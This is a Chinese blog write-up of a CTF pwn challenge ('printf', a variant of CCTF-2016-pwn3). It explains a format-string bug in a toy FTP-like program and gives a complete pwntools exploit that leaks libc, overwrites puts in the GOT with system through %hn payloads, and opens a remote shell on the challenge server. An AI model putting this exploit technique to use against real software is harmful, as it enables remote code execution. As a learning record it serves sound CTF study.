实验吧-溢出-printf

实验吧-溢出-printf

printf题目与CCTF-2016-pwn3几乎一样,不同的是,使用的libc和用户的username不同,其他的原理基本都相同。

在解出这道题目之前,首先先了解了CCTF-pwn3-2016这道题目的解题思路并且自己达到了拿到本地shell的目的。

关于原题的write-up可参考:

CCTF pwn3格式化字符串漏洞详细writeup

关于本题中拿到本地shell的Write-up可参考本人的另一篇博文:

CCTF-pwn3-printf

思路详解

在拿到本地shell之后发现通过修改一下内容,并不能拿到服务器的shell,于是今天克服了这个困难之后,终于拿到了服务器端的shell,并获取到flag。整理完整的思路为:

  • 首先通过IDA-pro获取源码(主要使用F5热键功能),弄清楚程序代码逻辑。此部分为略读代码。
  • 接着详细阅读每一部分的代码细节,找到代码中存在的漏洞,并判断是否可以利用。
  • 在确定了可以利用的漏洞之后,进行漏洞利用方案设计。
  • 通过巧妙的设计程序运行流程,实现“执行system(“/bin/sh;”)或execve(“/bin/sh”)等目的。
  • 进入shell,读取flag内容。

上边这个步骤应该是解决pwn相关问题的基本思路,将这个思路与本题结合起来,如下。

源码逻辑
  1. 首先用户需要登陆:usename password

    实际上是不存在password的,但是对username有限制,这个是固定了,不随每次运行的状态而改变,通过源码分析可以确定应输入的username为:rxraclhm

    
    #这部分代码保证了用户输入username的时候不存在溢出
    
    
    #另外将user输入的username每个字符的ASCII加一
    
    for ( i = 0; i <= 39 && src[i]; ++i )
       ++src[i];
    
    #将username经过ASCII加一之后与sysbdmin进行比较
    
    if ( strcmp(s1, "sysbdmin") )
  2. 用户可以输入put/get/dir进而分别实现put_file、get_file、show_dir的功能。

    put_file:
    input:filename;filecontent   output:none
    get_file:
    input:filename   output:filecontent
    show_dir:
    input:none   output:所有现有的filename字符串的拼接
  3. 用户可以无限次的随意执行三种功能,直至用户输入非”put\get\dir”字符。

漏洞
  1. askname中输入name的过程经过的严格的字节检查,不存在溢出。

  2. put_file和show_dir中不存在。

  3. 在get_file中,输出file_content的时候,程序将file_content复制给dest,然后直接printf(&dest),存在格式化字符串漏洞。

    int get_file()
    {
     char dest; // [esp+1Ch] [ebp-FCh]
     char s1; // [esp+E4h] [ebp-34h]
     char *i; // [esp+10Ch] [ebp-Ch]
    
     printf("enter the file name you want to get:");
     __isoc99_scanf("%40s", &s1);
     if ( !strncmp(&s1, "flag", 4u) )
       puts("too young, too simple");
     for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
     {
       if ( !strcmp(i, &s1) )
       {
         strcpy(&dest, i + 40);
         return printf(&dest);
       }
     }
     return printf(&dest);
    }
  4. 判断该漏洞是否可以利用

    因为get_file时输出的file_content是用户自定义的,也就是说,dest的内容可以认为是用户scanf()之后printf()的,那么根据格式化字符串漏洞利用的相关知识,我们可以利用该漏洞达到”任意内存读”和”任意内存写”的目的,可参考下边这篇文章学习格式化字符串漏洞。

    格式化字符串漏洞学习

漏洞利用设计

这部分是我觉得做pwn类型题目最难的……就像设计一场悬疑案一样,下边的思路是借鉴别人的。

想要执行system(“/bin/sh;”),两个关键点:

  • 要能执行到system()函数。程序本身并没有进入system()的入口,所以要想办法字GOT(global offset table)中将system()的函数地址覆盖到已有的、并且可以调用的函数地址,如A()。这样一来,当程序调用A()时,加载解析A()的GOT中实际地址时,实际上进入的是system()函数。
  • 构造”/bin/sh;”参数,不仅要将A()函数地址与system()地址覆盖,也要将A()的函数参数设计为”/bin/sh;”。

于是与此题结合起来就有以下思路:(还有很多其他的思路)

  • 将show_dir中的puts()的GOT中的地址改为system()地址
  • 构造dir为“/bin/sh;”,也就是现存的filename拼接起来为”/bin/sh;”,那么就可以分别put_file三个sh; in/; /b三个文件。这是当show_dir时就会输出”/bin/sh;”
漏洞利用实现
  1. 改写GOT

    利用格式化字符串漏洞实现任意地址写。

    查看ELF文件的plt表信息,可以看到plt中puts()在GLIBC中的offset为0x0804a028;相应的这个位置存放了puts()在程序运行时的实际地址,那么我们需要将0x0804a028中的内容改为system()在程序运行时的实际地址。

    readelf -r pwn

    实验吧-溢出-printf_第1张图片

    • 确定system()地址:

      因为程序的动态链接,glibc中的函数实际运行时的物理地址都是在动态运行时确定的,在本题中,我们通过泄漏执行过程中__libc_start_main的地址,然后根据:

      libc_base = __libc_start_main_addr - __libc_start_main_offset
      system_addr = libc_base + system_offset

      就可以得到实际运行的system_addr。

    • 确定__libc_start_main_addr,地址泄露:

      利用格式化字符串漏洞的任意地址读。

      gdb pwn
      disass get_file    #找到get_file的汇编代码中printf的位置0x0804889e
      b *0x0804889e  #在printf处下断点;观察
      stack 100      #查看当前栈信息

      实验吧-溢出-printf_第2张图片

      可以看到该地址,该地址是__libc_start_main+247的位置,所以可以计算出__libc_start_main的实际地址。

      0xf7e19637 #__libc_start_main+247
      __libc_start_main_addr = 0xf7e19637-247 = 0xf7e19540
      print __libc_start_main    #0xf7e19540
      验证后一致

      我们此时是在printf()函数处下的断点,根据格式化字符串漏洞中“任意地址读”的原理,我们可以通过364/4=91的偏移量(%91$x)读取此时的“__libc_start_main+247”对应的地址。

      想要printf(“%91$x”),则需要调用get_file,也就是说要构造一个file其file_content为”%91$x”.

      这时就可以获取__libc_start_main的地址了,进而拿到system_addr。

    • 写入0x0804a028:

      利用格式化字符串漏洞的任意地址写。

      //gcc str.c -m32 -o str
      
      #include 
      
      
      int main(void)
      {
      int c = 0; 
      printf("%.100d%n", c,&c);
      printf("\nthe value of c: %d\n", c);
      return 0;
      }

      话说我不知道原文为什么说到:

      格式化字符串写一般分两次写入,每次写半个dword长度的内容

      此时写入的地址内容为:

      0x0804a028 :   system_addr的低四位
      0x0804a02a :   system_addr的高四位
      
      #构造的payload
      
      payload1 = p32(puts_got_addr) + '%%%dc' % ((system_addr & 0xffff)-4) + '%7$hn'
      payload2 = p32(puts_got_addr+2) + '%%%dc' % ((system_addr>>16 & 0xffff)-4) + '%7$hn'
      
      
      #payload1 = "x28xa0x04x08%396c%7$hn"
      
      
      #payload2 = "x2axa0x04x08%46942c%7$hn"
      

      解释%7$hn:

      需要提到一个地址偏移量的问题:

      首先不知道他们是如何快速判断offset=7的。既然已经知道了,这里就以7为偏移量,解释一下如何构造payload。

      下图为offset为6的情况,类似的,我们可以理解offset为7的情况:也就是说,当我们向0x0804a028写入内容的时候,payload1和payload2是两个格式化字符串,栈顶是指向他们的指针,而实际的”0x0804a028……“内容是从offset=7开始的,所以构造payload的后边需要加上%7$hn。

      %n - 到目前为止所写的字符数

      解释’%%%dc’ % ((system_addr & 0xffff)-4):

      这里以system_addr=0xb7620190 为例

      这个是将system_addr的低地址4bytes转化为数字,从而将0x0804a028的位置写为0x0190(396);将0x0804a02a的位置写为0xb762(46942)。

  2. 构造”/bin/sh;”

    根据GOT修改的部分,我们可以了解到,一共需要”读取libc_start_main”、“修改0x0804a028”、“修改0x0804a02a”三次printf漏洞利用。

    原文刚好设计了三个文件名,分别对应这三次get_file。但实际上,也可以设计多个文件名,只要保证最后所有的拼接为”/bin/sh;”就可以了。

  3. libc的问题

    按照上述思路,是可以拿到本地shell的,但是由于libc的不同,服务器端使用的是libc-2.23.so,因此我们在本地调试时可以考虑指定程序运行时的libc。好像以前有遇到过这个解决方案,但是有点忘了……..

  4. exploit.py

    from pwn import *
    context.log_level = 'debug'
    
    #conn = remote('127.0.0.1',12345)
    
    conn = remote('106.2.25.7',8001)
    
    #conn=process("./pwn")
    
    def putfile( conn , filename , content ) :
       print 'putting ' , content 
       conn.sendline('put')
       conn.recvuntil(':')
       conn.sendline(filename)
       conn.recvuntil(':')
       conn.sendline(content)
       conn.recvuntil('ftp>')
    def getfile(conn , filename ) :
       conn.sendline('get')
       conn.recvuntil(':')
       conn.sendline(filename)
       return conn.recv(2048)
    
    #raw_input('start')
    
    conn.recv(2048)
    conn.sendline('rxraclhm')
    conn.recv(2048)
    putfile(conn,'sh;','%91$x')
    res = getfile( conn , 'sh;')
    print res
    
    #calculate put_got_addr , system_addr 
    
    __libc_start_main = int(res[:8], 16)-247
    system_addr = __libc_start_main - 0x18540 + 0x3ada0 
    pause()
    gdb.attach(conn)
    
    #system_addr=0xf7e44940
    
    print 'system addr ' , hex(system_addr)
    put_got_addr = 0x0804A028
    
    
    #conn.recv()
    
    
    #write system_addr to put_addr , lowDword 
    
    payload1 = p32(put_got_addr) + '%%%dc' % ((system_addr & 0xffff)-4) + '%7$hn'
    putfile(conn , 'in/' , payload1)
    getfile(conn , 'in/')
    conn.recvuntil('ftp>')
    
    #write system_addr to put_addr , highDword
    
    payload2 = p32(put_got_addr+2) + '%%%dc' % ((system_addr>>16 & 0xffff)-4) + '%7$hn'
    putfile(conn, '/b' , payload2)
    getfile(conn,'/b')
    conn.recvuntil('ftp>')
    conn.sendline('dir')
    conn.interactive()

下一步计划

个人认为对格式化字符串漏洞利用还不是很到位…….

还有GOT和PLT…..

技能GET

python快速实现字符串每个字符ASCII加一
str="sysbdmin"
str1=""
for c in str:
    c=chr(ord(c)-1)
    str1+=c
print str1
快速判断offset

暂未测试成功

CTF中格式化字符串漏洞快速利用

from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 100
bufsiz = 100
r = process('./print_test')
r.sendline(make_pattern(bufsiz))             # send cyclic pattern to
data = r.recv()                                 # server's response
offset, padding = guess_argnum(data, bufsiz)    # find format string offset and padding
log.info("offset : " + str(offset))
log.info("padding: " + str(padding))
格式化字符串漏洞的offset

比如printf(format_content,…),此时的offset就是,栈顶+offset所指的内存单元存储的内容就是format_content的内容??而栈顶只是地址?有待测试证明。

system(“/bin/sh”)&&system(“/bin/sh;”)

我感觉好像不需要‘;’吧

others
print system
info func
print __libc_start_main
Linux应用程序调用指定路径下的SO库:
SO库所在的指定路径为:/home/myUser/Demo/bin
在运行应用程序前:
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/myUser/Demo/bin
(暂未测试)

你可能感兴趣的:(ctf)